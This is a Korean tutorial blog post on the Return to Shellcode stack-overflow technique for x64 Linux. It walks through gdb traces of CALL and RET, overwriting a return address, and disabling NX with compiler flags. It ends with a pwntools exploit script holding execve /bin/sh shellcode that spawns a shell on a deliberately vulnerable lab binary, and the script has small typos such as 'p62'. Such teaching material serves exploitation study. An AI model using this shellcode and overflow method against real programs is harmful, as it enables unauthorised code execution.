Return to Shellcode
Return address 영역에 shellcode 저장된 주소를 넣어서 shellcode 호출하는 것
* CALL 명령, RET 명령의 이해
- CALL : CALL 명령어 다음 주소를 return address에 넣어서 다시 원래 함수로 리턴 시 return address에 저장된 주소로 이동할 수 있도록 한다.
- RET : POP 명령어 이용해 RSP 레지스터가 가리키는 stack 영역에 저장된 값을 RIP(EIP)에 저장해서 해당 주소로 이동
Ex. Test.c
Breakpoint 1 : vuln 함수 호출 전
Breakpoint 2 : vuln 함수 프롤로그
Breakpoint 3: vuln 함수 RET 명령어
Main 함수에서 vuln 함수 호출 전 rsp에 들어있는 값은 0x7fffffffde60이고,
그 주소에 들어있는 값은 0x4004f0이다.
그리고 continue해서 vuln 함수의 프롤로그에 breakpoint로 가보면, rsp가 0x7fffffffde58이고, 0x4004eb 값을 가지고 있다.
확인해보면 call 함수 호출 이후의 주소임을 알 수 있다.
이것으로 CALL 명령어에 의해 stack에 호출된 함수가 종료된 후 이동할 주소값을 저장함을 알 수 있고, return address임을 알 수 있다.
RET 명령어 동작 확인
Breakpoint 3는 vuln 함수의 RET 명령어 수행 전이다.
Bp를 잡고 실행시켜서 RET이 실행되고 rsp를 확인해보면 0x7fffffffde58을 rsp 레지스터가 가리키고 있고,
이 주소에선 0x4004eb가 저장되어 있다.
RET 명령에 의해 CALL 명령어 다음 명령어(0x4004eb)로 이동한 것을 알 수 있다.
그 다음POP 명령어를 이용해서 RSP 레지스터가 가리키는 stack 영역에 저장된 값(0x4004eb)을 RIP에 저장한다.
실제로 RIP 레지스터에 저장된 값을 확인해 보면 RSP가 가리키던 값임을 알 수 있다.
RIP에 저장한 후 해당 주소(0x4004eb)로 이동한다.
=> 따라서 stack에 저장된 return address 영역을 변경하면, RET 명령어 수행 시 RSP에 든 값을 POP 명령어로 RIP에 저장하고 해당 주소로 이동하므로 원하는 영역으로 이동할 수 있다.
# Stack Overwrite : 변경된 return address 영역으로 이동
Stack에 저장된 return address 영역에 저장된 값은 원래 main+14(0x4004eb)인데, stack overflow로 이 return address에 저장되는 값을 원하는 주소로 변경할 수 있다.
예를 들면 stack 영역 상에 shellcode를 올려놓고, shellcode가 올라가 있는 시작주소를 return address 영역에 넣으면, RET 시 shellcode가 있는 주소로 RIP가 이동해서 shellcode를 실행시킬 수 있다.
예를 들면, 함수 리턴 시 vuln+14가 아닌 vuln+0으로 이동하고 싶다고 하자.
그렇다면, vuln 함수에서 RET 명령어가 실행되기 전에 bp를 걸어서, 해당 return address에 저장된 값을 &<vuln+0>으로 바꾸면, RSP에 저장된 값이 vuln+0으로 바뀌어서 POP 시 바뀐 vuln+0 값이 RIP에 저장되고 vuln+0 주소로 이동할 수 있을 것이다.
Vuln+0 주소는 0x4004d6이니 set 명령어를 이용해 return address 값을 바꿔보자.
(gdb) set *0x7fffffffde58 = 0x4004d6
바꾼 후 보면, RSP가 0x4004d6으로 바뀌어서 RET 명령어에 의해0x4004d6으로 이동한 것을 확인할 수 있다. 실제로 RIP를 출력해보면 0x4004d6을 가리키고 있다.
# memory 권한에 대한 이해
메모리 영역에는 세 가지 권한이 설정되어 있다.
- read(r) : 메모리 영역의 값 읽기
- write(w) : 메모리 영역에 값 저장
- excute(x) : 메모리 영역에서 코드 실행
GCC는 기본적으로 DEP (intel 상, NX와 같음, 메모리를 읽을 수만 있고 코드를 stack 상에 올리지 못하게 하는 메모리 보호기법)가 적용되어 코드가 저장된 영역에만 실행권한이 설정되며, 데이터가 저장되는 영역에는 실행권한이 설정되지 않는다.
-> shellcode를 실행하기 위해서는 shellcode가 저장된 영역에 execute 권한을 설정해야 한다.
-> DEP 해제 : GCC 옵션으로 “-z execsack” 추가
이 옵션을 사용하면 데이터 저장 영역에도 execute 권한이 설정된다.
Stack에 올린 shellcode를 실행할 수 있는 것이다.
지금 프로세스 PID를 확인하기 위해 ps 명령어로 PID를 확인하고 cat /proc/PID/maps로 메모리 내 권한을 확인해봤더니, stack 영역은 r,w 권한은 있지만 x 권한이 없다.
따라서 GCC 옵션으로 -z execstack 를 추가하면 실행권한도 생긴다.
$ vi poc.c
$ gcc -z execstack -fno-stack-protector -o poc poc.c
Breakpoint 설정
Bp 1 : vuln 함수 첫 번째 명령어
Bp 2 : vuln 함수 read 함수 호출
Bp 3 : vuln 함수 ret 명령어
Bp 1 : read 함수 호출 전, return address 확인
RSP는 0x7fffffffde58을 가리키고 있고, 0x4005ab 값을 가진다. Main 함수를 확인해보면, vuln 함수 call 다음 명령어의 주소(0x4005ab)임을 알 수 있다.
그리고 우리가 변조해야 할 것은 0x7ffffffde58에 든 값이다.
Bp 2 : read 함수 호출 전, buf에서 return address 까지 거리 구하기
아까 return address 주소는 0x7fffffffe58이었고, bp 2에서 RSI가 가리키는 것, buf의 주소는 0x7fffffffde10이다. 따라서 빼서 거리를 구해보면 72가 나온다.
입력 값으로 문자 72개 이상 입력하면 return address를 덮을 수 있다.
(이것을 구한 것을 payload 전달 시 정확한 return address 위치에 원하는 주소를 넣기 위해서이다.)
Buffer(50) + dummy(14) + SFP(8) 까지가 72이고 + RET(8)
Buf 에 값을 넣고 시작주소부터 확인해보면 값들이 들어있다.
Bp 3 : 변조된 return address 영역 값 확인
변조된 return address를 확인할 수 있다.
# exploit 코드 작성:
“Buf[50] address :”다음에 buf 시작주소가 출력되는데 우리는 이 주소가 필요하다. (buf 영역에 shellcode 넣을 것이므로) 따라서 recvuntil로 “Buf[50] address :”까지 받고, ‘\n’까지 또 recvuntil해서 받은 것을 stackAddr에 저당한다. 그리고 int(stackaddr,16)으로 주소로 바꿔준다.
from pwn import * p = process(‘./poc’) p.recvuntil(“buf[50] address : ‘) stackAddr = p.recvuntil(‘\n’) stackAddr = int(stackAddr, 16)
payload="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload += “\x90”*(72-len(payload)) payload += p62(stackAddr) p.send(payload) p.interactive()
|
[Exploit Tech] ROP (Return Oriented Programming) -x64 (0) | 2019.08.17 |
---|---|
[Exploit Tech] ROP (Return Oriented Programming) -x86 (0) | 2019.08.17 |
2. RTL (Return into Library) -x64 (0) | 2019.07.26 |
1. RTL (Return into Library) -x84 (0) | 2019.07.25 |
[Protection Tech] 메모리 보호기법 정리 (0) | 2019.07.03 |